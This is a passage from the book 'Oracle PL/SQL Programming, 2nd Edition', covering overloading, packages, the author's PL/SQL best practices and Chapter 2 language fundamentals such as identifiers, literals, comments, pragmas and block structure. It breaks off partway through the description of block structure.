   FUNCTION value_ok (date_in IN DATE) RETURN BOOLEAN
   IS
   BEGIN
      RETURN date_in <= SYSDATE;
   END;

   /* Second version takes a NUMBER parameter. */
   FUNCTION value_ok (number_in IN NUMBER) RETURN BOOLEAN
   IS
   BEGIN
      RETURN number_in > 0;
   END;
END;

Overloading can greatly simplify your life and the lives of other developers. This technique consolidates the call interfaces for many similar programs into a single module name. It transfers the burden of knowledge from the developer to the software. You do not have to try to remember, for example, the six different names for programs which all add values (dates, strings, Booleans, numbers, etc.) to various PL/SQL tables.

Instead, you simply tell the compiler that you want to "add" and pass it the value you want added. PL/SQL and your overloaded programs figure out what you want to do and they do it for you.

See Chapter 15 for details.

1.6.7 Local modules

A local module is a procedure or function defined in the declaration section of a PL/SQL block (anonymous or named). This module is considered local because it is only defined within the parent PL/SQL block. It cannot be called by any other PL/SQL blocks defined outside of that enclosing block.

See Chapter 15 for details.

1.6.8 Packages

A package is a collection of related elements, including modules, variables, table and record TYPEs, cursors, and exceptions. Packages are among the least understood and most underutilized features of PL/SQL. That is a shame, because the package structure is also one of the most useful constructs for building well-designed PL/SQL-based applications. Packages provide a structure in which you can organize your modules and other PL/SQL elements. They encourage proper programming techniques in an environment that often befuddles the implementation of good design.

With packages, you can:

  • Create abstract datatypes and employ object-oriented design principles in your Oracle-based applications.

  • Use top-down design techniques comprehensively. You can build package specifications devoid of any code and actually compile programs that call the modules in these "stub" packages.

  • Create and manipulate data that persist throughout a database session. You can use variables that are declared in a package to create global data structures.

See Chapter 16, Packages, for details. The disk that accompanies this book contains many examples of packages. The frontend software gives you an easy-to-use interface to the code and explanations for using it.

Previous: 1.5 Advice for Oracle Programmers | Oracle PL/SQL Programming, 2nd Edition | Next: 1.7 Best Practices for PL/SQL Excellence
1.5 Advice for Oracle Programmers | Book Index | 1.7 Best Practices for PL/SQL Excellence
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.7 Best Practices for PL/SQL Excellence

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.7 Best Practices for PL/SQL Excellence

Since the publication of the first edition of this book, I have had the pleasure of presenting my own relatively idiosyncratic approach to building PL/SQL-based applications to thousands of developers. I have also spent an increasingly large percentage of my time writing complex PL/SQL packages. In the process, I have honed my sense of what we all need to do to write excellent PL/SQL programs which will "stand the test of time." I have, in fact, become somewhat dogmatic about these principles or "best practices," but if not me, then who?

In this second edition, I've decided to share some of my thoughts on PL/SQL best practices, in very concentrated form, to enhance your reading of the book and to give you food for thought as you venture forth with your own development projects. This is by no means a comprehensive list, but I hope it will be a good start for the construction of your own best practices.

1.7.1 Write as Little Code as Possible

If you can use a program that someone else wrote -- someone you trust to have written it well and tested it thoroughly -- why would you want to write it yourself? Seems obvious, doesn't it? The less code you yourself write, the less likely it is that you will introduce bugs into your application, and the more likely it is that you will meet deadlines and stay within budget.

The basic PL/SQL language offers tons of functionality; you need to get familiar with the built-in functions so you know what you don't have to write. At most of my trainings, I ask the attendees how many arguments the INSTR function has. Most people figure there are two (the string and the substring). A few raise their hands for three, and a special one or two believe in four arguments for INSTR -- four is the correct answer. If you don't know that INSTR has four arguments, then you don't really know what INSTR does -- and can do -- for you. Investigate and discover!

Then there are the built-in packages, which greatly expand your horizons. These packages allow you to do things otherwise impossible inside PL/SQL, such as executing dynamic SQL, DDL, and PL/SQL code (DBMS_SQL), passing information through database pipes (DBMS_PIPES), and displaying information from within a PL/SQL program (DBMS_OUTPUT). It is no longer sufficient for a developer to become familiar simply with basic PL/SQL functions like TO_CHAR, ROUND, and so forth. Those functions have now become merely the innermost layer of useful functionality that Oracle Corporation has built upon (as should you). To take full advantage of the Oracle technology as it blasts its way to the 21st century, you must be aware of these packages and how they can help you.

Finally, as the PL/SQL marketplace matures, you will find that you can choose from prebuilt, third-party libraries of PL/SQL code, probably in the form of packages. These code libraries might perform specialized calculations or they might offer relatively generic extensions to the base PL/SQL language. As of the fall of 1997, there is just one commercially available PL/SQL library, PL/Vision from RevealNet (which I wrote). Soon, there will be more. Search the Web and check the advertisements in Oracle Magazine to find out what is available, so that you can avoid reinventing the wheel.

As you are writing your own code, you should also strive to reduce your code volume. Here are some specific techniques to keep in mind:

  • Use the cursor FOR loop. Whenever you need to read through every record fetched by a cursor, the cursor FOR loop will save you lots of typing over the "manual" approach of explicitly opening, fetching from, and closing the cursor.

  • Work with records. Certainly, whenever you fetch data from a cursor, you should fetch into a record declared against that cursor with the %ROWTYPE attribute (covered in next section in more detail). But if you find yourself declaring multiple variables which are related, declare instead your own record TYPE. Your code will tighten up and will more clearly self-document relationships.

  • Use local modules to avoid redundancy and improve readability. If you perform the same calculation twice or more in a procedure, create a function to perform the calculation and then call that function twice instead.

1.7.2 Synchronize Program and Data Structures

Data analysts, data modelers, and database administrators go to great lengths to get the structures in the database just right. Standards for entity and attribute names, referential integrity constraints, database triggers, you name it: by the time PL/SQL developers get to work, there is (or should be) a solid foundation for their work.

Problem is, whenever you code a SQL statement in your application, you are hardcoding data structures and relationships into your program. What happens when those relationships change? Unless you take special precautions, your program will break. You will spend way too much of your time maintaining existing applications. Your managers will look at you funny when you have to make up all sorts of lame excuses for widespread breakdowns of code resulting from the simplest database change.

Protect your code and your reputation. As much as possible, you want to write your code so that it will "automagically" adapt to changes in underlying data structures and relationships. You can do this by taking the following steps:

  • Anchor declarations of variables back to the database tables and columns they represent. Whenever you declare a variable which has anything to do with a database element, use the %TYPE or %ROWTYPE declaration attributes to define the datatype of those structures. If those database elements change, your compiled code is discarded. When recompiled, the changes are automatically applied to your code.

  • Always fetch from an explicit cursor into a record declared with %ROWTYPE, as opposed to individual variables. Assuming that you followed my last piece of advice, that cursor is declared in a package. That cursor may, therefore, be changed without your knowledge. Suppose that another expression is added to the SELECT list. Your compiled code is then marked as being invalid. If you fetched into a record, however, upon recompiliation that record will take on the new structure of the cursor.

  • Encapsulate access to your data structures within packages. I recommend, for example, that you never repeat a line of SQL in your application; that all SQL statements be hidden behind a package interface; and that most developers never write any SQL at all. They can simply call the appropriate package procedure or function, or open the appropriate package cursor. If they don't find what they need, they ask the owner of the package (who is intimate with the complex details of the data structure) to add or change an element.

This last suggestion will have the greatest impact on your applications, but it is also among the most difficult to implement. To accomplish this goal (always execute SQL statements through a procedural interface), you will want to generate packages automatically for a table or view. This is the only way to obtain the consistency and code quality required for this segment of your application code. By the time this second edition is published, you should be able to choose from several different package generators. You can also build your own.

1.7.3 Center All Development Around Packages

Little did I know when I wrote the first edition of this book how much more I was to learn about PL/SQL -- and most of it was about packages. You should center all your PL/SQL development effort around packages. Don't build standalone procedures or functions unless you absolutely have to (some frontend tools cannot yet recognize the package syntax of dot notation: package.program). Expect that you will eventually construct groups of related functionality and start from the beginning with a package.

The more you use packages, the more you will discover you can do with them. The more you use packages, the better you will become at constructing clean, easy-to-understand interfaces (or APIs) to your data and your functionality. The more you use packages, the more effectively you will encapsulate acquired knowledge and then be able to reapply that knowledge at a later time -- and share it with others.

My second book, Advanced Oracle PL/SQL Programming with Packages, offers a detailed set of "best practices" for package design and usage; highlights follow:

  • Don't declare data in your package specification. Instead, "hide" it in the package body and build "get and set" programs to retrieve the data and change it. This way, you retain control over the data and also retain the flexibility to change your implementation without affecting the programs which rely on that data.

  • Build toggles into your packages, such as a "local" debug mechanisms, which you can easily turn on and off. This way, a user of your package can modify the behavior of programs inside the package without having to change his or her own code.

  • Avoid writing repetitive code inside your package bodies. This is a particular danger when you overload multiple programs with the same name. Often the implementation of each of these programs is very similar. You will be tempted to simply cut and paste and then make the necessary changes. However, you will be much better off if you take the time to create a private program in the package which incorporates all common elements, and then have each overloaded program call that program.

  • Spend as much time as you can in your package specifications. Hold off on building your bodies until you have tested your interfaces (as defined by the specifications) by building compilable programs which touch on as many different packages as possible.

  • Be prepared to work in and enhance multiple packages simultaneously. Suppose that you are building a package to maintain orders and that you run into a need for a function to parse a string. If your string package does not yet have this functionality, stop your work in the orders package and enhance the string package. Unit-test your generic function there. When you've got it working, deploy it in the orders package. Follow this disciplined approach to modularization and you will continually build up your toolbox of reusable utilities.

  • Always keep your package specifications in separate files from your package bodies. If you change your body but not your specification, then a recompile only of the body will not invalidate any programs referencing the package.

  • Compile all of the package specifications for your application before any of your bodies. That way, you will have minimized the chance that you will run into any unresolved or (seemingly) circular references.

1.7.4 Standardize Your PL/SQL Development Environment

When you get right down to it, programming consists of one long series of decisions punctuated by occasional taps on the keyboard. Your productivity is determined to a large extent by what you spend your time making decisions on. Take some time before you start your programming effort to set up standards among a wide variety of aspects. Here are some of my favorite standards, in no particular order:

  • Set as a rule that individual developers never write their own exception-handling code, never use the pragma EXCEPTION_INIT to assign names to error numbers, and never call RAISE_APPLICATION_ERROR with hardcoded numbers and text. Instead, consolidate exception handling programs into a single package, and predefine all application-specific exceptions in their appropriate packages. Build generic handler programs that, most importantly, hide the way you record exceptions in a log. Individual handler sections of code should never expose the particular implementation, such as an INSERT into a table.

  • Never write implicit cursors (in other words, never use the SELECT INTO syntax). Instead, always declare explicit cursors. If you follow this advice, you will no longer spend time debating with yourself and others which course is the best. ("Well, if I use ROWNUM < 2 I never get the TOO_MANY_ROWS exception. So there!") This will improve your productivity. And you will have SQL which is more likely (and able) to be reused.

  • Pick a coding style and stick to it. If you ever find yourself thinking things like "Should I indent three spaces or four?" or "How should I do the line breaks on this long procedure call?" or "Should I do everything in lowercase or uppercase or what?" then you are wasting time and doing an injustice to yourself. If you don't have a coding style, use mine -- it is offered in detail in Chapter 3, Effective Coding Style.

1.7.5 Structured Code and Other Best Practices

Once you get beyond the "big ticket" best practices, there are many very concrete recommendations for how to write specific lines of code and constructs. Many of these suggestions have been around for years and apply to all programming languages. So if you took a good programming class in college, for example, don't throw away those books! The specific syntax may change, but the fundamental common sense motivation for what you have learned in the past will certainly work with PL/SQL as well.

Without a doubt, if you can follow these guidelines, you are sure to end up with programs which are easier to maintain and enhance:

  • Never exit from a FOR loop (numeric or cursor) with an EXIT or RETURN statement. A FOR loop is a promise: my code will iterate from the starting to the ending value and will then stop execution.

  • Never exit from a WHILE loop with an EXIT or RETURN statement. Rely solely on the WHILE loop condition to terminate the loop.

  • Ensure that a function has a single successful RETURN statement as the last line of the executable section. Normally, each exception handler in a function would also return a value.

  • Don't let functions have OUT or IN OUT parameters. The function should only return values through the RETURN clause.

  • Make sure that the name of a function describes the value being returned (noun structure, as in "total_compensation"). The name of a procedure should describe the actions taken (verb-noun structure, as in "calculate_totals").

  • Never declare the FOR loop index (either an integer or a record). This is done for you implicitly by the PL/SQL runtime engine.

  • Do not use exceptions to perform branching logic. When you define your own exceptions, these should describe error situations only.

  • When you use the ELSIF statement, make sure that each of the clauses is mutually exclusive. Watch out especially for logic like "sal BETWEEN 1 and 10000" and "sal BETWEEN 10000 and 20000."

  • Remove all hardcoded "magic values" from your programs and replace them with named constants or functions defined in packages.

  • Do not "SELECT COUNT(*)" from a table unless you really need to know the total number of "hits." If you only need to know whether there is more than one match, simply fetch twice with an explicit cursor.

  • Do not use the names of tables or columns for variable names. This can cause compile errors. It can also result in unpredictable behavior inside SQL statements in your PL/SQL code. I once did a global search and replace of :GLOBAL.regcd to regcd (a local variable declared as VARCHAR2(10) but also, unfortunately, the name of a column). Our Q&A procedures were very weak and we ended up rolling out into production a program with a DELETE statement containing a WHERE clause that looked like this:

    WHERE regcd = regcd

    Needless to say, this caused many headaches. If I had simply changed the global reference to v_regcd, I would have avoided all such problems.

There is lots more I could say about best practices for PL/SQL development, especially concerning the application of new Oracle8, object-oriented features. But if you follow the ideas I offer in this section, you will be writing code that is superior to just about everyone else's on this strange planet. So...read on!

Previous: 1.6 A Few of My Favorite (PL/SQL) Things | Oracle PL/SQL Programming, 2nd Edition | Next: 2. PL/SQL Language Fundamentals
1.6 A Few of My Favorite (PL/SQL) Things | Book Index | 2. PL/SQL Language Fundamentals
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] PL/SQL Language Fundamentals

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 1.7 Best Practices for PL/SQL Excellence Chapter 2 Next: 2.2 Identifiers

2. PL/SQL Language Fundamentals

Contents:
The PL/SQL Character Set
Identifiers
Literals
The Semicolon Delimiter
Comments
The PRAGMA Keyword
Block Structure

Every language -- whether human or computer -- has a syntax, vocabulary, and character set. In order to communicate within that language, you have to learn the rules that govern its usage. Many of us are very wary of learning a new computer language. Change is often scary, but, in general, programming languages are very simple tongues, and PL/SQL is a relatively simple programming language. The difficulty we have conversing in languages based on bytes is not with the language, but with the compiler or computer with which we are having the discussion. Compilers are, for the most part, very stupid. They are not creative, sentient beings. They are not capable of original thought. Their vocabulary is severely limited. Compilers just happen to think their dull thoughts very, very rapidly -- and very inflexibly.

If I hear someone ask "gottabuck?", I can readily interpret that sentence and decide how to respond. If I instruct PL/SQL, on the other hand, to "gimme the next half-dozen records," I will not get very far in my application. To use the PL/SQL language, you must dot your i's and cross your t's -- syntactically speaking. So, in this chapter, I cover the fundamental language rules that will help you converse with the PL/SQL compiler -- the PL/SQL character set, lexical units, PRAGMA keyword, and block structure.

2.1 The PL/SQL Character Set

A PL/SQL program consists of a sequence of statements, each of which is made up of one or more lines of text. Text is made up of combinations of the characters shown in Table 2.1.

Table 2.1: PL/SQL Character Set
Type | Characters
Letters | A-Z, a-z
Digits | 0-9
Symbols | ~ ! @ # $ % & * ( ) _ - + = | [ ] { } : ; " ' < > , . ? /
Whitespace | Tab, space, carriage return

Note that PL/SQL is a case-insensitive language. Uppercase letters are treated the same way as lowercase letters except when the characters are surrounded by single quotes (when they are literal strings) or represent the value of a character variable.

Every valid statement in PL/SQL, from declaration to executable statement to keyword, is made up of various combinations of the above characters. Now you just have to figure out how to put them all together!

A number of these characters -- both singly and in combination with other characters -- have a special significance in PL/SQL. Table 2.2 lists these special symbols.

Table 2.2: Simple and Compound Symbols in PL/SQL
Symbol | Description
; | Semicolon: statement terminator
% | Percent sign: attribute indicator (cursor attributes like %ISOPEN and indirect declaration attributes like %ROWTYPE). Also used as multibyte wildcard symbol, as in SQL.
_ | Single underscore: single-byte wildcard symbol, as in SQL
: | Colon: host variable indicator, such as :block.item in Oracle Forms
** | Double asterisk: exponentiation operator
< > and != | "Not equals"
|| | Double vertical bar: concatenation operator
<< and >> | Label delimiters
<= and >= | Relational operators
:= | Assignment operator
=> | Association operator for positional notation
-- | Double dash: single-line comment indicator
/* and */ | Beginning and ending multiline comment block delimiters

Characters are grouped together into lexical units, also called atomics of the language, because they are the smallest individual components. A lexical unit in PL/SQL is any of the following:

  • Identifier

  • Literal

  • Delimiter

  • Comment

These are described in the following sections.

Previous: 1.7 Best Practices for PL/SQL Excellence | Oracle PL/SQL Programming, 2nd Edition | Next: 2.2 Identifiers
1.7 Best Practices for PL/SQL Excellence | Book Index | 2.2 Identifiers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.2 Identifiers

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.2 Identifiers

An identifier is a name for a PL/SQL object, including any of the following:

  • Constant

  • Variable

  • Exception

  • Procedure

  • Function

  • Package

  • Record

  • PL/SQL table

  • Cursor

  • Reserved word

Properties of an identifier are summarized below:

  • Up to 30 characters in length

  • Must start with a letter

  • Can include $ (dollar sign), _ (underscore), and # (pound sign)

  • Cannot contain spaces

Remember that PL/SQL is not case-sensitive, so if the only difference between two identifiers is the case of one or more letters, PL/SQL treats those two identifiers as the same. For example, the following identifiers are all considered by PL/SQL to be the same, because the characters in the name are the same; the only difference is their case:

lots_of_$MONEY$
LOTS_of_$MONEY$
Lots_of_$Money$

The following strings are valid identifier names:

lots_of_$MONEY$
FirstName
company_id#
address_line1
primary_acct_responsibility
address_line2
First_Name
S123456

The following identifiers are all illegal in PL/SQL:

1st_year
-- Starts with numeral
procedure-name
-- Contains invalid character "-"
minimum_%_due
-- Contains invalid character "%"
maximum_value_exploded_for_detail
-- Name is too long
company ID
-- Cannot have embedded spaces in name

Identifiers are the handles for objects in your program. Be sure to name your objects carefully, so the names describe the objects and their uses. Avoid identifier names like X1 and temp; they are too ambiguous to mean anything to you or anyone else reading your code.

2.2.1 Reserved Words

Of course, you don't get to name all the identifiers in your programs. Many elements of your program have been named by PL/SQL itself. These are the reserved words in the language. An identifier is a reserved word if it has a special meaning in PL/SQL and therefore should not -- and, in most cases, cannot -- be redefined by programmers for their own use.

One very important reserved word is END. It is used to terminate programs, IF statements, and loops. If you try to declare a variable named "end", as I do below, then you will get the subsequent compile error:

DECLARE
   end VARCHAR2(10) := 'blip';
BEGIN
   DBMS_OUTPUT.PUT_LINE (end);
END;
/
PLS-00103: Encountered the symbol "END" when expecting one of the following:

The appearance of the word "end" in the declaration section signals to PL/SQL the premature termination of that anonymous block.

PL/SQL tries to be as accommodating as possible when you do redefine reserved words in your program. It makes its best effort to interpret and compile your code. You would be much better off, however, if you never redefined a reserved word for your own use. Even if you do get away with it, the resulting code will be confusing. And a later version of the PL/SQL compiler might decide that your use of that keyword is, after all, unacceptable.

In any case, finding a valid name for your identifier should be the least of your problems. There are thousands and thousands of permutations of the legal characters.

You can find a full list of all PL/SQL reserved words in an appendix of Oracle Corporation's PL/SQL User's Guide and Reference.

2.2.2 Whitespace and Keywords

Identifiers must be separated by at least one space or by a delimiter, but you can format your text by adding additional spaces, line breaks (carriage returns), and tabs wherever you can put a space, without changing the meaning of your entry.

The two statements shown below are therefore equivalent:

IF too_many_orders
THEN
   warn_user;
ELSIF no_orders_entered
THEN
   prompt_for_orders;
END IF;

IF too_many_orders THEN warn_user;
ELSIF no_orders_entered THEN prompt_for_orders;
END IF;

You may not, however, place a space or carriage return or tab within a lexical unit, such as a compound delimiter like the "not equals" symbol (!=). The following statement raises a compile error:

IF max_salary ! = min_salary THEN

because there is a space between the ! and the =.

See Chapter 3, Effective Coding Style, for more information on how you can use whitespace to format your code for improved readability.

Previous: 2.1 The PL/SQL Character Set | Oracle PL/SQL Programming, 2nd Edition | Next: 2.3 Literals
2.1 The PL/SQL Character Set | Book Index | 2.3 Literals
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.3 Literals

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.3 Literals

A literal is a value which is not represented by an identifier; it is simply a value. A literal may be composed of one of the following types of data:

Number

415, 21.6, or NULL

String

`This is my sentence' or `31-JAN-94' or NULL

Boolean

TRUE, FALSE, or NULL

Notice that there is no way to indicate a true date literal. The value `31-JAN-94' is a string literal (any sequence of characters enclosed by single quotes is a string literal). PL/SQL and SQL automatically convert such a string to a date for you (by calling TO_DATE), but a date has only an internal representation.

A string literal can be composed of zero or more characters from the PL/SQL character set. A literal of zero characters is represented as '' (two consecutive single quotes with no characters between them) and is defined as the NULL string. This literal has a datatype of CHAR (fixed-length string).

PL/SQL is case-sensitive within string literals. The following two literals are different:

'Steven'
'steven'

The following condition, for example, evaluates to FALSE:

IF 'Steven' = 'steven'

2.3.1 Embedding Single Quotes Inside a String

The trickiest part of working with string literals comes when you need to include a single quote inside a string literal (as part of the literal itself). Generally, the rule is that you write two single quotes next to each other inside a string if you want the literal to contain a single quote in that position. The following table shows the literal in one column and the resulting "internal" string in the second column:

Literal Actual Value
'There''s no business like show business.'
There's no business like show business.
'"Hound of the Baskervilles"'
"Hound of the Baskervilles"
'NLS_LANGUAGE=''ENGLISH'''
NLS_LANGUAGE='ENGLISH'
''''
'
'''hello'''
'hello'
''''''
''

Here's a summary of how to embed single quotes in a literal:

  • To place a single quote inside the literal, put two single quotes together.

  • To place a single quote at the beginning or end of a literal, put three single quotes together.

  • To create a string literal consisting of one single quote, put four single quotes together.

  • To create a string literal consisting of two single quotes together, put six single quotes together.

Two single quotes together is not the same as a double quote character. A double quote character does not have any special significance inside a string literal. It is treated the same as a letter or number.

2.3.2 Numeric Literals

Numeric literals can be integers or real numbers (a number that contains a fractional component). Note that PL/SQL considers the number 154.00 to be a real number, even though the fractional component is zero and the number is actually an integer. You can also use scientific notation to specify a numeric literal. Use the letter "e" (upper- or lowercase) to raise a number times 10 to the nth power. For example: 3.05E19, 12e-5.

2.3.3 Boolean Literals

Remember that the values TRUE and FALSE are not strings. They are Boolean literals with the literal meaning of TRUE or FALSE. You should never place single quotes around these values. The following code will fail to compile with the error listed below:

DECLARE
   enough_money BOOLEAN;
BEGIN
   IF enough_money = 'TRUE'
   THEN
      ...

PLS-00306: wrong number or types of arguments in call to '='

Instead, you should reference the literal directly:

DECLARE
   enough_money BOOLEAN;
BEGIN
   IF enough_money = TRUE
   THEN
      ...

Better yet, leave out the literal and just let the Boolean variable speak for itself in the conditional clause of the IF statement:

DECLARE
   enough_money BOOLEAN;
BEGIN
   IF enough_money
   THEN
      ...

If you work with Oracle Forms, you may notice that some of the GET_ built-ins, such as GET_ITEM_PROPERTY, sometimes return a value of TRUE or FALSE. For example:

GET_ITEM_PROPERTY ('block.item', DISPLAYED)

returns the character string FALSE if the DISPLAYED property is set to "Off" for the specified item. Do not confuse this value with the Boolean literal. The easiest way to keep this all straight is to remember that the GET_ built-ins always return a character string.

Previous: 2.2 Identifiers | Oracle PL/SQL Programming, 2nd Edition | Next: 2.4 The Semicolon Delimiter
2.2 Identifiers | Book Index | 2.4 The Semicolon Delimiter
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.4 The Semicolon Delimiter

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.4 The Semicolon Delimiter

A PL/SQL program is made up of a series of statements. A statement is terminated with a semicolon (;), not with the physical end of a line. In fact, a single statement is often spread over several lines to make it more readable. The following IF statement takes up four lines and is indented to reinforce the logic behind the statement:

IF salary < min_salary (1994)
THEN
   salary := salary + salary*.25;
END IF;

There are two semicolons in this IF statement. The first semicolon indicates the end of the single executable statement within the IF-END IF construct. The second semicolon terminates the IF statement itself. This same statement could also be placed on a single physical line (if it would fit):

IF salary < min_salary (1994) THEN salary := salary + salary*.25; END IF;

The semicolons are still needed to terminate the logical, executable statements. I suggest that you do not, however, combine the different components of the IF statement on a single line. It is much more difficult to read. I also recommend that you never place more than one executable (or declaration) statement on each line. Compare the following statements:

DECLARE
   continue_scanning BOOLEAN := TRUE;
   scan_index NUMBER := 1;

and:

DECLARE
   continue_scanning BOOLEAN := TRUE; scan_index NUMBER := 1;

In the second example, the two different statements blur into a single stream of text. It is difficult to find the semicolon in the middle of a line.

Previous: 2.3 Literals | Oracle PL/SQL Programming, 2nd Edition | Next: 2.5 Comments
2.3 Literals | Book Index | 2.5 Comments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.5 Comments

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.5 Comments

Inline documentation, otherwise known as comments, is an important element of a good program. While this book offers many suggestions on how to make your program self-documenting through good naming practices and modularization, such techniques are seldom enough by themselves to guarantee a thorough understanding of a complex program.

PL/SQL offers two different styles for comments: single-line and multiline block comments.

2.5.1 Single-Line Comment Syntax

The single-line comment is initiated with two hyphens ( -- ), which cannot be separated by a space or any other characters. All text after the double hyphen, to the end of that physical line, is considered commentary and is ignored by the compiler. If the double hyphen appears at the beginning of the line, then that whole line is a comment.

Remember: the double hyphen comments out the remainder of a physical line, not a logical PL/SQL statement. In the following IF statement, I use a single-line comment to clarify the logic of the Boolean expression:

IF salary < min_salary (1994) -- Function returns min salary for year.
THEN
   salary := salary + salary*.25;
END IF;

2.5.2 Multiline Comment Syntax

While single-line comments are useful for documenting brief bits of code and also ignoring a line that you do not want executed at the moment, the multiline comment is superior for including longer blocks of commentary.

Multiline comments start with a slash-asterisk (/*) and end with an asterisk-slash (*/). PL/SQL considers all characters found between these two sequences of symbols to be part of the comment, and they are ignored by the compiler.

The following example of multiline comments shows a header section for a procedure. I use the double vertical bars in the left margin so that, as the eye moves down the left edge of the program, it can easily pick out the chunks of comments:

PROCEDURE calc_revenue (company_id IN NUMBER) IS
/*
|| Program: calc_revenue
|| Author: Steven Feuerstein
|| Change history:
||    9/23/94 - Start program
*/
BEGIN
   ...
END;

You can also use multiline comments to block out lines of code for testing purposes. In the following example, the additional clauses in the EXIT statement are ignored so that testing can concentrate on the a_delimiter function:

EXIT WHEN a_delimiter (next_char)
/*
             OR
          (was_a_delimiter AND NOT a_delimiter (next_char))
*/
;

Previous: 2.4 The Semicolon Delimiter | Oracle PL/SQL Programming, 2nd Edition | Next: 2.6 The PRAGMA Keyword
2.4 The Semicolon Delimiter | Book Index | 2.6 The PRAGMA Keyword
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.6 The PRAGMA Keyword

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.6 The PRAGMA Keyword

The PRAGMA keyword is used to signify that the remainder of the PL/SQL statement is a pragma, or directive, to the compiler. Pragmas are processed at compile time; they do not execute during runtime.

A pragma is a special instruction to the compiler. Also called a pseudoinstruction, the pragma doesn't change the meaning of a program. It simply passes information to the compiler. It is very similar, in fact, to the tuning hints you can embed in a SQL statement inside a block comment.

PL/SQL offers the following pragmas:

EXCEPTION_INIT

Tells the compiler to associate a particular error number with an identifier you have declared as an exception in your program. See Chapter 8, Exception Handlers for more information.

RESTRICT_REFERENCES

Tells the compiler the purity level (freedom from side effects) of a packaged program. See Chapter 17, Calling PL/SQL Functions in SQL for more information.

SERIALLY_REUSABLE

New to PL/SQL8. Tells the PL/SQL runtime engine that package-level data should not persist between references to that data. See Chapter 25, Tuning PL/SQL Applications for more information.

The syntax for using the PRAGMA keyword is as follows:

PRAGMA <instruction>;

where <instruction> is a statement providing instructions to the compiler. You would call EXCEPTION_INIT as follows:

DECLARE
   no_such_sequence EXCEPTION;
   PRAGMA EXCEPTION_INIT (no_such_sequence, -2289);
BEGIN
   ...
END;

Previous: 2.5 Comments | Oracle PL/SQL Programming, 2nd Edition | Next: 2.7 Block Structure
2.5 Comments | Book Index | 2.7 Block Structure
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.7 Block Structure

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

2.7 Block Structure

PL/SQL is a block-structured language. Each of the basic programming units you write to build your application is (or should be) a logical unit of work. The PL/SQL block allows you to reflect that logical structure in the physical design of your programs.

The block structure is at the core of two key concepts and features of the PL/SQL language:

Modularization

The PL/SQL block is the basic unit of work from which modules, such as procedures and functions, are built. The ability to modularize is central to successfully developing complex applications.

Scope

The block provides a scope or context for logically related objects. In the block, you group together declarations of variables and executable statements that belong together.

You can create anonymous blocks (blocks of code that have no name) and named blocks, which are procedures and functions. Furthermore, you can build packages in PL/SQL that group together multiple procedures and functions.

The following sections briefly examine the block structure and related concepts.

2.7.1 Sections of the PL/SQL Block

Each PL/SQL block has up to four different sections (some are optional under certain circumstances):

Header

Relevant for named blocks only. The header determines the way the named block or program must be called.

Declaration section

The part of the block that declares variables, cursors, and sub-blocks that are referenced in the execution and exception sections.

Execution section

The part of the PL/SQL block containing the executable statements, the code that is executed by the PL/SQL runtime engine.

Exception section

The section that handles exceptions to normal processing (warnings and error conditions).

Figure 2.1 shows the structure of the PL/SQL block for a procedure.

Figure 2.1: The PL/SQL block structure

The ordering of the sections in a block corresponds to the way you would write your programs and the way they are executed:

Step 1

Define the type of block (procedure, function, anonymous) and the way it is called (header).

Step 2

Declare any variables used in that block (declaration section).

Step 3

